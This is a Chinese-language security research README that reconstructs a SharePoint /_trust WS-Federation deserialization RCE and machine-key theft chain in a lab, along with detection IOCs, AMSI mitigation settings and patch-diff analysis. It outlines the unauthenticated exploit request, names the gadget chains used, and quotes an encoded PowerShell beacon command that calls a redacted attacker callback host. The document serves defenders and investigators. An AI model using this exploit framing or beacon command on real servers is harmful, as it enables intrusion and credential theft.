
PoC, IOCs, and detection logic for the SharePoint /_trust WS-Federation BinaryFormatter deserialization chain. Lab reconstruction covering unauthenticated RCE, in-process machine key theft, and the artifacts each variant leaves behind. SharePoint 2016, 2019, and Subscription Edition. CVE-2026-50522, CVE-2026-45659, CVE-2026-56164, CVE-2026-58644.
/_trust WS-Federation 反序列化:PoC 与检测笔记在线文档(GitHub Pages):https://sp-poc.wismansec.com/(本文档的 HTML 渲染)。
影响范围:SharePoint Server 2016、2019 和 Subscription Edition。
在隔离实验室中对 SharePoint Server(Subscription Edition)入侵的重现,旨在 (a) 了解攻击者的完整能力,(b) 确定防御者应搜寻的内容,包括隐蔽持久化,(c) 分享 PoC 以帮助其他调查人员。
仅限授权研究。 此处所有操作均在隔离的、个人所有的实验硬件和账户上执行,针对的是特意保留未修补状态的测试构建。该底层问题已由供应商修复;请应用最新更新。不要对不属于你且未经明确授权测试的系统运行此操作。机器密钥值、内部主机名/IP 和回调域在文本和示例工件中均已脱敏。SIEM 截图未经修改,带有实验室真实名称;参见 §4 中的说明。
/_trust SecurityContextToken BinaryFormatter 反序列化系列POST /_trust/default.aspx(WS-Federation 登录)携带恶意 SecurityContextToken,在 SharePoint 工作进程(w3wp.exe)中触发 BinaryFormatter 反序列化,以 Web 应用池身份实现远程代码执行。/_trust 启用 AMSI 请求体扫描可检测并阻止它;参见 §5)。这些密钥使攻击者能够伪造即使修补后仍然有效的 __VIEWSTATE/认证令牌。/_trust 请求特征——这是每个变体中唯一存在的工件。SharePoint 在 /_trust/default.aspx 暴露了一个 WS-Federation 被动登录端点。精心构造的登录响应(wa=wsignin1.0 + wresult=<RequestSecurityTokenResponse>)嵌入了一个 SecurityContextToken,其 <Cookie> 元素是 base64、DEFLATE 压缩的 BinaryFormatter 流。在服务端,该 cookie 被解压并在无类型限制的情况下反序列化,因此通过 ysoserial.net 的 gadget 链在 w3wp.exe 内执行攻击者控制的代码。
请求框架(未经身份验证):
POST /_trust/default.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
wa=wsignin1.0&wctx=<url>&wresult=<RequestSecurityTokenResponse>...
<SecurityContextToken><Cookie>BASE64(DEFLATE(BinaryFormatter payload))</Cookie>...
位于 scripts/ 中的脚本(已脱敏):参数化 OOB RCE 和两阶段密钥转储。载荷投递使用 PowerShell -EncodedCommand,因此多语句载荷能够完整地穿过 cmd.exe/传输层(不会因 ;/&& 引用而被破坏)。
单 SharePoint SE 场(构建版本固定为修复前),应用池身份 LAB\sp_pool,PowerShell 5.1,Microsoft Defender 开启并启用云保护。遥测数据(Windows 事件日志、SharePoint 日志、Defender for Endpoint)发送到 nano,一个轻量级开源 SIEM;攻击者主机运行 ysoserial.net;interactsh 客户端提供 OOB 监听器。文本中的地址和域均已脱敏;参见 §4 中的截图说明。
每一行代表一次真实的引爆;工件按次从 SIEM + OOB 监听器中提取。
截图未经修改。 它们带有实验室的真实主机名和 NetBIOS 名称,这些名称较为粗糙, 与全文使用的脱敏
SHAREPOINT01/LAB不同。相同运行、相同事件, 没有任何摆拍。可在artifacts/中找到适合工作场合的等效内容。
这些结果基于默认 AMSI 配置(Balanced 模式,未扫描 /_trust)。若为 /_trust 启用了 AMSI 请求体扫描(Full 模式或定向端点),则每一行都会在请求层被阻止:HTTP 400、Exploit:Script/SpCookieExec.A,发生在执行之前(参见 §5)。

所有四次有记录的引爆,15:01 至 15:18 UTC,w3wp.exe 的每个子进程都以池身份运行。四次中有三次是直接生成的 powershell.exe。只有 15:03:34 那次经由 cmd.exe,且只有那次被检测到。若将窗口扩大到此次之外,同一上午的早期开发迭代也会进入结果集,因此该结论仅限于这四次运行。

默认调用:w3wp.exe → cmd.exe → powershell.exe,并伴有 conhost.exe。这正是 Behavior:Win32/WebshellLauncher.A 所依赖的形态。

-RawCmd 调用,使用相同的原语和相同的载荷,只是去掉了 cmd.exe 一跳。Defender 对这次运行没有任何输出。基于 w3wp → cmd 的检测会完全漏掉它。

同一 25 分钟窗口内、包含四次引爆的所有 Defender 事件。这三条事件全部属于那一次 cmd.exe 运行:两条 malware_detected(严重),随后是 malware_action_taken(操作 Remove)。补救措施没有跑赢 beacon,beacon 先完成了。
从 Security 4688 中逐字恢复的关键命令行(编码 ≠ 规避):
"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -NonInteractive -EncodedCommand <base64>
→ decodes to: iwr -UseBasicParsing 'http://<attacker-oast>/c'

编码后的命令行在 SIEM 中的样子。它只是 UTF-16LE 的 base64,仅此而已;base64 -d | iconv -f utf-16le -t utf-8 一步即可恢复回调。编码不是混淆。
下面的两幅截图覆盖了场机器密钥被盗的同一 90 秒窗口。

未加过滤时,窗口内有 20 条事件。主机存活并发送遥测。

过滤为 w3wp.exe 的子进程后,同一窗口为空。没有进程、没有 Defender 事件、没有 beacon。密钥通过 HTTP 响应离开,唯一的主机侧工件是 /_trust 请求本身,而该 SIEM 并未收集此请求。修补不会撤销已泄露的密钥;请轮换它们。
-Diag 泄露在 OOB 监听器处捕获(URL 解码后):
{ "host": "SHAREPOINT01", "who": "LAB\\sp_pool", "v": "5.1.20348.558", "lm": "FullLanguage" }
每个变体中都存在的唯一特征。 请首先搜索以下内容:
POST /_trust/default.aspx,请求体包含 wa=wsignin1.0,且 wresult 中含有 RequestSecurityTokenResponse + SecurityContextToken/<Cookie>。未经身份验证,User-Agent 通常异常。响应状态基线:发往该端点的合法 WS-Federation 登录流量以 HTTP 302 为主;漏洞利用返回其他状态(200、500、连接重置,或 AMSI 阻止时的 400)。如果该端点有真实登录流量,请将对 POST /_trust/default.aspx 的非 302 响应视为异常。仅凭状态不能确认利用成功;成功的一次运行同时返回了 200 和重置。基于进程(仅限 RCE 变体):
w3wp.exe 直接生成 cmd.exe 或 powershell.exe。-RawCmd 变体去掉了 cmd.exe 一跳并绕过 WebshellLauncher.A,因此不要仅以 w3wp→cmd 作为依据。w3wp 下出现任何 powershell.exe -EncodedCommand:直接从 4688 解码该 blob(它在静态时未被混淆)。w3wp.exe → whoami.exe(侦察),或子进程 conhost.exe。影响响应决策的两项发现:
Behavior:Win32/WebshellLauncher.A 并对其进行补救时,至少在一次执行中观察到了出站 beacon 在补救完成前就已结束。应将此类检测视为可能已成功回调,并在检测时间前后审查 DNS、代理和出站日志中的回调目标。w3wp.exe 内部执行,并通过 HTTP 响应返回密钥,因此唯一的主机侧证据是 POST /_trust/default.aspx 请求及其响应。是否被检测取决于 AMSI 请求体扫描配置。MITRE ATT&CK:T1190(利用面向公众的应用)· T1059.001(PowerShell)· T1552(未受保护的凭据:机器密钥)· T1550(使用伪造的认证材料,窃取后)。
两条攻击链都在 POST /_trust/default.aspx 请求的请求体中投递载荷。Microsoft Defender 是否检查该载荷,由 SharePoint 针对该 Web 应用的 AMSI 请求体扫描配置决定。以下三种配置直接在此场上进行了测试(SharePoint Server Subscription Edition,Microsoft Defender):
| AMSI 请求体配置 | 结果 |
|---|---|
Balanced 模式,/_trust/default.aspx 不在定向端点列表中(默认) | 不扫描请求体;两条链均执行;无 Defender 检测 |
Balanced 模式,/_trust/default.aspx 添加为定向端点 | 扫描请求体;请求被阻止 |
| Full 模式(扫描所有端点) | 扫描请求体;请求被阻止 |
在默认配置下,请求体不会被检查,因此 RCE 和机器密钥泄露都会完成且不产生任何 AMSI 检测。在两种扫描配置下,请求都会在反序列化前以 HTTP 400 被拒绝,不会创建任何工作进程,Defender 记录如下:
| 字段 | 值 |
|---|---|
| 威胁 | Exploit:Script/SpCookieExec.A(ID 2147969862) |
由于请求在任何代码运行之前就被阻止,因此不会创建子进程,两条链均不会产生 Security 4688 进程创建事件。直接生成 powershell.exe(无中间 cmd.exe)的 RCE 变体同样被阻止。
配置(SharePoint Management Shell,按 Web 应用设置):
$wa = Get-SPWebApplication https://<webapp>
$wa.AMSIBodyScanMode = 2 # Full: scan all endpoints
# or keep Balanced mode and scan this endpoint only:
$wa.AddAMSITargetedEndpoints('/_trust/default.aspx', 1)
$wa.Update(); iisreset
Set-SPMachineKey / 更新 web.config 中的 machineKey + IISReset)。修补可以阻止 RCE,但不会撤销已被窃取的密钥;轮换可消除攻击者为持久化而伪造 FedAuth / SecurityContextToken / __VIEWSTATE 的能力。POST /_trust/default.aspx。合法的 WS-Federation 登录也会以 wa=wsignin1.0 访问该端点,因此要依据漏洞利用特有的结构,而非仅凭端点:wresult 中的令牌是带 base64 <Cookie> 的 <SecurityContextToken>(命名空间 http://schemas.microsoft.com/ws/2006/05/security;合法登录携带的是已签名的 SAML 断言),同时伴随非 302 响应(200/500/400 或重置)和脚本化/异常的 User-Agent。密钥转储会快速连续发送两个这样的 POST。如果存在,则假定密钥已被攻陷。__VIEWSTATE / 异常认证。对供应商修复的静态分析确认了该机制,并解决了 RCE 是否需要已窃取的机器密钥的问题:不需要。方法:对 Microsoft.SharePoint.IdentityModel.dll 在 6 月 CU(KB5002873, 16.0.19725.20384)和 7 月 CU(KB5002882, 16.0.19725.20434)之间进行二进制补丁对比;以只读方式反编译并比对。
被利用的读取路径是 SPFederationAuthenticationModuleV2.OnAuthenticateRequest → SPSessionSecurityTokenHandlerV2(System.IdentityModel.Tokens.SessionSecurityTokenHandler 的子类)。变更如下:
解读。 补丁前的转换链仅使用 deflate,没有加密,也没有基于机器密钥的 MAC/签名转换。基类 ReadToken 应用这些转换并反序列化 cookie 值,因此伪造的令牌会被解压并反序列化,且没有机器密钥验证门槛;gadget 无需 ValidationKey/DecryptionKey 即可触发(与密钥无关)。修复移除了汇点(转换和 ReadToken 抛出异常),而不是添加签名/解密检查,这证实了没有密钥门槛需要修复。
后果。 机器密钥泄露是一个独立的持久化目标(伪造 FedAuth / SecurityContextToken / __VIEWSTATE),而不是 RCE 的前提;密钥转储本身就是在同一条路径上的 RCE,并且在任何密钥被窃取之前就已运行。
同一次 7 月 CU 中还包含另一项不相关的加固:SPJsonWebSecurityTokenHandlerV2 中的 JWT actor-token 签名验证(RequireSignedTokens 从 false→true,新增 VerifyActorTokenSignature),这是一条独立的 OAuth / 服务器到服务器 actor-token 路径,不属于本文所涉及的 WS-Federation 会话令牌路径。
应用修复。 修复就是 7 月 CU(KB5002882):它将仅 deflate 的 cookie 转换替换为会抛出异常的转换,从而移除了汇点。安装后,请确认没有任何场设置会恢复或绕过此项修复。将 SessionCookieTransformProtectionEnabled 设置为 false 会使会话令牌 cookie 恢复到易受攻击的仅 deflate 转换(重新打开 RCE 和密钥转储),而 DisableActorTokenSignatureValidation 调试标志会重新打开同一次更新中加固的独立的 JWT actor-token 签名绕过。
README.md – this document
scripts/ – sanitized PoC scripts (OOB RCE + machine-key dump)
detection/ – hunt queries / IOC list
artifacts/ – redacted example artifacts (process trees, Defender events, beacons)
LICENSE, DISCLAIMER.md
| 攻击链 | Gadget | 效果 | 输出通道 |
|---|
| OOB RCE | TypeConfuseDelegate → -EncodedCommand PowerShell | 以池身份执行代码 | 带外(HTTP/DNS beacon) |
| 机器密钥泄露 | ActivitySurrogateDisableTypeCheck → ActivitySurrogateSelectorFromFile(在进程内编译 KeyDump.cs) | 转储 ValidationKey/DecryptionKey | 内联于 HTTP 响应中 |
| 调用方式 | 进程树(以 LAB\sp_pool 身份,高完整性) | Defender | OOB beacon | 主要工件 |
|---|
| OOB RCE,默认 | w3wp.exe → cmd.exe → powershell.exe → conhost.exe | Behavior:Win32/WebshellLauncher.A(EID 1116 检测 / 1117 删除) | 已回连(竞争) | 4688 树;Defender 1116/1117;/_trust POST |
OOB RCE,-RawCmd | w3wp.exe → powershell.exe → conhost.exe(无 cmd) | 无 | 已回连(DNS+HTTP) | 4688 树;/_trust POST;beacon |
OOB RCE,-DropFile | w3wp.exe → powershell.exe | 无 | 已回连 | 文件写入 …\TEMPLATE\LAYOUTS\(未出现在对象访问审计日志中) |
OOB RCE,-Diag | w3wp.exe → powershell.exe → whoami.exe | 无 | 已回连 | 环境信息泄露外传:{host, whoami, PSver, LanguageMode} |
| 机器密钥转储 | (无,进程内) | 无 | (无) | 仅 /_trust POST + 携带密钥的异常响应 |
| 严重性 / 类别 | 严重 / 漏洞利用 |
| 检测源 | AMSI |
| 操作 | 隔离 |
| 进程 | C:\Windows\System32\inetsrv\w3wp.exe |
/_trust 启用 AMSI 请求体扫描(Full 模式,或将 /_trust/default.aspx 添加为 Balanced 定向端点;参见 §5)。这会在请求层、执行之前同时阻止 RCE 和密钥转储。| 6 月(易受攻击) | 7 月(已修复) |
|---|
| Cookie 转换链 | s_Transforms = { new DeflateCookieTransform() }(仅 deflate) | s_Transforms = { new NotSupportedCookieTransform() }(Decode/Encode 抛出异常) |
ReadToken 重写 | 无(继承基类 ReadToken) | ReadToken(XmlReader, SecurityTokenResolver)、ReadToken(XmlReader)、ReadToken(string) 均抛出 NotSupportedException |